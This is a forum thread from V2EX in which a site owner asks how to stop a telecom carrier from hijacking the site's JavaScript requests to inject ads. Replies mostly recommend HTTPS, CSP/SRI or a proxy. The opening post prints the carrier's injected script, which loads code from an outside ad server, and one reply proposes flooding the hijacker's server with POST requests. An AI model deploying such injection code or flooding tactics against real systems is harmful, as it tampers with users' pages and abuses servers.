V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
thesunfei
V2EX  ›  问与答

反运营商 JS 劫持

  •  
  •   thesunfei · 2018-02-10 10:40:47 +08:00 · 5590 次点击
    这是一个创建于 2469 天前的主题,其中的信息可能已经有所发展或是发生改变。

    我们公司的网站经常被电信运营商劫持 JS 访问,被替换成广告代码。以下是被劫持的 JS 内容:

    var atn_obj = new Object; atn_obj.oldurl = 'http://www.tssjsc.cn/addons/sz_yi/static/js/app/config.js?cHVzaA=1518227648'; atn_obj.unified_url = 'http://uiq.mlnbike.com:2525/ad_unified_access?SP=ABys7Og8/Iyc/NzcrMx8/JzL/OyczRmJuDsZqHiozfyoPMg8vLzc/Pz4POg87KzsfNzcjJy8eDzsrOx83NyMnLx8/LxsnKyceDysnGz8k='; window.setTimeout(function(){var a=document.createElement("script");a.src=atn_obj.oldurl;document.getElementsByTagName("head")[0].appendChild(a);},0); window.setTimeout(function(){var a=document.createElement("script");a.src=atn_obj.unified_url;document.getElementsByTagName("head")[0].appendChild(a);},0);

    有没有一种办法,就是在客户端请求一个静态资源的时候,比如请求 /aa.jj ,web 服务器返回 /aa.js 的内容?这样电信运营商就察觉不到客户端请求的是个 js 文件。

    19 条回复    2018-04-11 12:03:03 +08:00
    rrfeng
        1
    rrfeng  
       2018-02-10 10:43:13 +08:00
    你自定义就可以了,文件名并没有什么关系。
    thesunfei
        2
    thesunfei  
    OP
       2018-02-10 10:47:00 +08:00
    @rrfeng 电信运营商是通过客户端请求的文件扩展名来识别 JS 文件从而就行劫持。
    DT27
        3
    DT27  
       2018-02-10 11:06:16 +08:00 via Android
    自己的网站上 https 啊
    rrfeng
        4
    rrfeng  
       2018-02-10 11:10:56 +08:00
    @thesunfei
    我意思是你文件扩展名随便起,叫 jj 还是 js 没关系。
    但是你以为运营商这么傻?他们会看 content-type 去劫持。

    最简单有效的办法还是 https
    thesunfei
        5
    thesunfei  
    OP
       2018-02-10 11:20:38 +08:00
    @rrfeng 试过改 content-type 了,没用。劫持阶段是在客户端请求后,不是服务器返回阶段。
    wangjie
        6
    wangjie  
       2018-02-10 11:23:56 +08:00
    @thesunfei #5 所以让你上 https 呀
    terra
        7
    terra  
       2018-02-10 11:26:14 +08:00 via iPhone
    发现有劫持代码,在后台狂 POST 它显示内容的服务器。
    ccbikai
        8
    ccbikai  
       2018-02-10 11:27:35 +08:00 via iPhone
    CSP,SRI 配置一下
    thesunfei
        9
    thesunfei  
    OP
       2018-02-10 11:48:40 +08:00
    加了 php 代理后解决问题
    比如 /proxy.php?url=addons/sz_yi/template/mobile/tsys/static/js/jquery-3.1.1.min.js
    ivyliner
        10
    ivyliner  
       2018-02-10 12:06:33 +08:00 via iPhone
    https 是正途,其他都是自作聪明的做法
    yingfengi
        11
    yingfengi  
       2018-02-10 13:39:58 +08:00 via Android
    https 才是正途,其他都是自作聪明
    anheiyouxia
        12
    anheiyouxia  
       2018-02-10 14:03:56 +08:00 via Android
    @DT27 佛山电信,手机如果不是用 chrome 浏览器,会劫持 HTTPS 会话,然后做流氓事,可能因为 chrome 会提醒用户证书不对所以用 chrome 才不会被劫持
    jasontse
        13
    jasontse  
       2018-02-10 14:16:06 +08:00 via iPad
    @anheiyouxia 不可能吧,https 识别浏览器这件事是鸡和蛋的问题。
    jiangzhuo
        14
    jiangzhuo  
       2018-02-10 15:14:22 +08:00
    劫持的没有傻到去判断是.js
    第一步是判断是不是 HTTP 协议
    你只要不用 HTTP 协议就可以防 99%的劫持
    SingeeKing
        15
    SingeeKing  
       2018-02-10 15:32:29 +08:00
    上 HSTS Preload x
    改扩展名 √
    someonetwo
        16
    someonetwo  
       2018-02-10 15:43:15 +08:00
    什么技术都没有法律强制效果好,要是法律规定禁止运营商劫持,发现一律坐牢 10 年以上,哪个运营商敢冒险,让更多人投诉,让国家重视,多抓几个典型就没那么多人敢劫持了
    flyz
        17
    flyz  
       2018-02-10 15:49:38 +08:00 via Android
    @someonetwo 想什么呢,都是自己人,判这么重真的很好么,就像说什么冤假错案追责一样。

    都是给国家打工的,就算做错事了,批评一下就可以了,难道真要开除,那以后谁敢给国家打工。
    why1
        18
    why1  
       2018-02-10 16:32:40 +08:00 via Android
    gzip 可以吗,服务器开静态文件压缩
    linkdesu
        19
    linkdesu  
       2018-04-11 12:03:03 +08:00
    @flyz 听你这口气,就是专门搞劫持赚灰色收入的?😄
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1044 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 25ms · UTC 21:15 · PVG 05:15 · LAX 13:15 · JFK 16:15
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.